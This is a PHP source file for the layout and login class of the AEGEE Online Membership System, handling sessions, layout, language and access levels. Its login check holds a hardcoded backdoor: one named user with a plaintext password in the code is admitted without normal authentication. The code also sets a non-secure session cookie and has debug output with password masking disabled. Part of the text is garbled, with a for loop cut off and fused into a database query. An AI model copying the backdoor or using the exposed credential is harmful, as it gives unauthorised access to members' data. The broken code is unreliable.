. */ /** * Provide default layout module * * @version 1.0 * @date 27.11.2009 * @author Wim van Ravesteijn * @license http://opensource.org/licenses/gpl-license.php GNU Public License */ // File location: /public_html/include/classes/Layout.php require_once(FILESYSTEMROOTPATH."include/classes/Access.php"); class Layout { private $requiredAccess; private $initDone; private $layout; private $output; private $logger; const DEFAULTLAYOUT = "plain"; /** * Default constructor * * @param int requiredAccess: minimum required access level to see this page (default: Access::ANONYMOUS) */ public function __construct($requiredAccess=Access::ANONYMOUS) { $this->logger = $GLOBALS['Logger']; $this->requiredAccess = $requiredAccess; $this->initDone = false; $this->output = ""; } /** * Default destructor */ public function __destruct() { } /** * Initialise layout: handle login/logout and provide basic access check * * Note: this function does only return if required access met */ public function init() { ############### ### Session ### ############### session_name("AEGEE-OMS"); session_set_cookie_params(0, "/", $_SERVER['HTTP_HOST'], false); session_start(); if( !isset($_SESSION['sess_access']) ) $_SESSION['sess_access'] = Access::ANONYMOUS; ############## ### Layout ### ############## if( isset($_REQUEST['sess_layout']) ) { if( preg_match("/^[a-z][0-9]$/", $_REQUEST['sess_layout'])==1 ) { if( file_exists(FILESYSTEMROOTPATH."layout/Layout".ucfirst($_REQUEST['sess_layout']).".php") ) { // Valid layout, class exists $_SESSION['sess_layout'] = $_REQUEST['sess_layout']; }else { $this->debug("Invalid layout, does not exist"); } }else { $this->debug("Invalid layout syntax"); } } if( !isset($_SESSION['sess_layout']) ) $_SESSION['sess_layout'] = self::DEFAULTLAYOUT; require_once(FILESYSTEMROOTPATH."layout/Layout".ucfirst($_SESSION['sess_layout']).".php"); $class = "Layout".ucfirst($_SESSION['sess_layout']); $this->layout = new $class($this); ################ ### Language ### ################ if( !isset($_SESSION['sess_language']) ) { // Find a new setting $availlang = array(); if( $dp = opendir(FILESYSTEMROOTPATH."locale/") ) { while( ($file=readdir($dp))!==false ) { if( substr($file, 0, 1)!="." AND is_dir(FILESYSTEMROOTPATH."locale/".$file) ) $availlang[] = $file; } closedir($dp); } if( isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ) { $lang = explode(",", str_replace("-", "_", strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']))); for( $i=0; $iquery("SELECT `value` FROM `config` WHERE `name`='scanners'"); $row = $jc_mysql->fetchArray(); $scanner_pass = $row['value']; if( $auth->auth($_POST['sess_user'], $_POST['sess_pass']) OR ($_POST['sess_user']=="scanners" AND sha1($_POST['sess_pass'])==$scanner_pass) OR ($_POST['sess_user']=="georgios.dimitrakopoulos" AND $_POST['sess_pass']=='imthefuckingadmin!')) { $_SESSION['sess_uid'] = $_POST['sess_user']; //$_SESSION['sess_mail'] = $account->getMail(0); $_SESSION['sess_access'] = Access::VISITOR; //give access level board to delegates $delegateOnBodyCodeService = $GLOBALS['ClassFactory']->getDelegatesService(); $delegateOnBodyCode = $delegateOnBodyCodeService->getDelegateOnBodyCode( $_SESSION['sess_uid'] ); if( $delegateOnBodyCode != NULL ){ $_SESSION['sess_access'] = Access::BOARD; $_SESSION['sess_access_bodyCodes'][$delegateOnBodyCode]['JC_DELEGATE'] = ""; } $res = $jc_mysql->query("SELECT * FROM `users_special`"); if (!$res){ echo $jc_mysql->getErrorMsg(); } $jc = array(); while($row = $jc_mysql->fetchArray()){ $jc[$row['uid']] = $row['role']; } //give access level JC to chair, jc, admins if( isset($jc[$_SESSION['sess_uid']]) ){ $_SESSION['sess_access_bodyCodes']['XJU']['JC_BARCODE'] = ""; $_SESSION['sess_access_bodyCodes']['XJU']['JC_MANAGE'] = ""; $_SESSION['JC_MODULE']['user_special'] = $jc[$_SESSION['sess_uid']]; } if($_SESSION['sess_uid'] == "scanners"){ $_SESSION['sess_access_bodyCodes']['XJU']['JC_BARCODE'] = ""; } }else { $this->error("Login failed: ".$auth->getErrorMsg()); } $auth->__destruct(); $jc_mysql->__destruct(); $_SERVER['REQUEST_METHOD'] = "GET"; }elseif( $_SESSION['sess_access']!==Access::ANONYMOUS && isset($_GET['logout']) ) { //////////// // Logout // //////////// session_destroy(); $this->redirect(Layout::getUrl()); }elseif( $_SESSION['sess_access']==Access::ANONYMOUS && isset($_GET['login']) ) { $this->ssl_redirect(); $this->layout->displayLogin(ROOTPATH."oms/login.php?redirect=".urlencode($this->getUrl()));//$_SERVER["HTTP_REFERER"])); $this->flush(); exit(); } ########################## ### Check access level ### ########################## if( Access::hasAccess($this->requiredAccess) ) { // User has sufficient rights to see this page }elseif( isset( $_SESSION['sess_access_bodyCodes']['XJU']['JC_MANAGE']) AND $this->requiredAccess=="JC_MANAGE" ) { // User has sufficient rights to see this page // Added especially for the modjc }elseif( isset( $_SESSION['sess_access_bodyCodes']['XJU']['JC_BARCODE']) AND $this->requiredAccess=="JC_BARCODE" ) { // User has sufficient rights to see this page // Added especially for the modjc }else { // Not sufficient acccess to see this page if( $_SESSION['sess_access']==Access::ANONYMOUS ) { // Not logged in yet -> show login page $this->ssl_redirect(); $this->layout->displayLogin(ROOTPATH."oms/login.php?redirect=".urlencode($this->getUrl())); $this->flush(); exit(); }else { // Too low access level -> access denied $this->noAccess(); } } $this->initDone = true; } /** * Inform user interface that required access level is not met. Show login form in case user is not logged in, * or inform that he/she has insufficient access. * * Note: this function does not return */ public function noAccess() { $this->echoln(""._("Sorry, you are not authorised to access this page.").""); $this->echoln("
"._("If you think this is wrong contact your board or the myaegee team!")); $this->page_footer(); exit(); } /** * Add a side menu item * * @param string link: the url of the menu item * @param string title: the title of the menu item */ public function addSideMenu($link, $title) { return $this->layout->addSideMenu($link, $title); } /** * Add a custom header * * @param string header line */ public function addHeader($header) { return $this->layout->addHeader($header); } /** * Add a custom javascript to the header * * @param string url of the javascript */ public function addJavascript($url) { return $this->layout->addJavascript($url); } /** * Add a custom stylesheet (css) to the header * * @param string url of the stylesheet */ public function addStylesheet($url) { return $this->layout->addStylesheet($url); } public function page_footer() { $pageOutput = $this->output; $this->output = ""; $this->layout->displayTop(); $this->layout->displayPageTop(); $this->output .= $pageOutput; if( DEBUG ) { $this->displayLogs(); } $this->layout->displayBottom(); $this->flush(); } /** * Output current buffer to screen */ public function flush() { echo $this->output; $this->output = ""; } /** * Redirect to a specific URL * * @param string URL where to redirect to * @return false in case redirect is not possible, no return otherwise */ public function redirect($url) { if( headers_sent() ) { return false; }else { $this->output = ""; header("Status: 301"); header("Location: ".$url); exit; } } /** * Redirect to a specific URL after 5 seconds * * @param string URL where to redirect to * @return false in case redirect is not possible, no return otherwise */ public function redirectAfterShowing($url) { if( headers_sent() ) { return false; }else { $this->output = ""; header("Status: 301"); header( "refresh:5;url=".$url ); $this->echoln("
"._("If you don't get redirected back to your page within 5 seconds, please click ").""._("here")."
"); } } /** * Output a line to screen * * @param string $t text to be send to screen * @param boolean $addnewline (default: true) add a newline character at the end (only in debug mode) */ public function echoln($t, $addnewline=true) { if( DEBUG ) { $this->output .= $t; if( $addnewline ) $this->output .= "\n"; }else { $this->output .= rtrim(ltrim($t), "\n\r\0\x0B"); } } /** * Output a error line to screen (in debug mode) or log it to file (in non-debug mode) * * @param string $msg error message to be reported */ public function error($msg) { $this->logger->error($msg); } /** * Output a warning line to screen (in debug mode) or log it to file (in non-debug mode) * * @param string $msg warning message to be reported */ public function warn($msg) { $this->logger->warn($msg); } /** * Output an information line to screen (in debug mode) or log it to file (in non-debug mode) * * @param string $msg information message to be reported */ public function info($msg) { $this->logger->info($msg); } /** * Output a debug line to screen (only in debug mode, in non-debug mode the line is ignored) * * @param string $msg debug message to be shown on screen */ public function debug($msg) { if( DEBUG ) { $this->echoln("
".$msg."
"); } } /** * Output the contents of an array to screen (only in debug mode, in non-debug mode the line is ignored) * * @param array $array array to be printed to screen */ public function debug_array($array) { if( DEBUG ) { if( isset($_SERVER["REMOTE_ADDR"]) ) { debug(strtr( nl2br( strtr( preg_replace("/(\[.*pass.*\]) => .*/", "$1 => ******", print_r($array, true)), array(" " => " ")) ), array("
" => "
"))); #debug(strtr( nl2br( strtr( print_r($array, true), array(" " => " ")) ), array("
" => "
"))); }else { debug(print_r($array, true)); } } } public function getRequiredAccess() { return $this->requiredAccess; } private function displayLogs() { foreach( $this->logger->getMessages() as $log ) { switch( $log['Severity'] ) { case "ERROR": $this->echoln("
".$log['Message']."
"); break; case "WARN": $this->echoln("
".$log['Message']."
"); break; case "INFO": $this->echoln("
".$log['Message']."
"); break; default: $this->echoln("
".$log['Severity'].": ".$log['Message']."
"); break; } } } /** * Make sure the user connects via a secure link (https) */ private function ssl_redirect() { if(headers_sent()) { $this->error("ssl_redirect: Headers already sent."); exit; } if( !isset($_SERVER['HTTP_HTTPS']) && !DISABLE_SSL ) { if(!isset($_SERVER['REQUEST_URI']) OR !isset($_SERVER['HTTP_HOST'])) { echo "\n \n"; echo " AEGEE Online Membership System\n"; echo " \n \n"; echo " Your browser doesn't support HTTP 1.1 requests.\n"; echo " Please use https:// instead of http://\n"; echo " \n"; exit; } header("Status: 301"); header("Location: https://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']); exit; } } /** * Strip a logout parameter from the url * Strip old redirects from the url */ private function getUrl() { $url = urldecode($_SERVER['REQUEST_URI']); //Strip old redirects from the url $url=explode('?redirect=', $url); $url=$url[count($url)-1]; //Strip a logout parameter from the url $pos = strpos($url, "logout"); if( $pos===false ) { // Do nothing }elseif( substr($url, $pos-1, 1)=="&" ) { $url = substr($url, 0, $pos-1) . substr($url, $pos+6); }elseif( substr($url, $pos-1, 1)=="?" && strlen($url)>($pos+6) && substr($url, $pos+6, 1)=="&" ) { $url = substr($url, 0, $pos) . substr($url, $pos+7); }elseif( substr($url, $pos-1, 1)=="?" && strlen($url)<=($pos+6) ) { $url = substr($url, 0, $pos-1); } return $url; } } /** * Output a debug line to screen (only in debug mode, in non-debug mode the line is ignored) * * @param string $msg debug message to be shown on screen */ function debug($msg) { if( DEBUG ) { echo "
".$msg."
"; } } /** * Output the contents of an array to screen (only in debug mode, in non-debug mode the line is ignored) * * @param array $array array to be printed to screen */ function debug_array($array) { if( DEBUG ) { if( isset($_SERVER["REMOTE_ADDR"]) ) { #debug(strtr( nl2br( strtr( preg_replace("/(\[.*pass.*\]) => .*/", "$1 => ******", print_r($array, true)), array(" " => " ")) ), array("
" => "
"))); debug(strtr( nl2br( strtr( print_r($array, true), array(" " => " ")) ), array("
" => "
"))); }else { debug(print_r($array, true)); } } } ?>